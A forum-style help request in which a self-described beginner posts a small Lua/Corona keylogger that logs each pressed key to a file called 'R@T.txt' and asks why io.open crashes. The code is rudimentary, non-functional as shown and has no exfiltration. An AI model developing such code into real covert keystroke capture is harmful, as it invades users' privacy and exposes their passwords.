This is a key logger I created as a challenge and to get used to the new language. I did not write this code with malicious intent.
First, I’m not sure how to find the file I’m writing to. I’m going off an example I found off the Corona Documentation.
I wasn’t able to find anything explaining what ‘system.DocumentsDirectory’ points to. I simply assumed it pointed to the documents directory on my computer.
I’m fairly new to programming like this so you’ll probably see my code and think ‘gross’ but I’m open to learning new concepts so if you see anything that could and should be done differently let me know.
function WriteToFile(String) local path = system.pathForFile("R@T.txt", system.DocumentsDirectory) print("Path") -- Just to try and determine the origin of the crash local File, ErrorString = io.open(path, "W") print("File") if not File then print('File error: ' .. ErrorString) else print("else") File:write(String) io.close(File) end File = nil end function ReturnInput( Key ) if Key.phase == 'down' then print(Key.keyName) WriteToFile(tostring(Key.keyName)) end end Runtime:addEventListener('key', ReturnInput)
The code crashes at line 9 ‘io.open’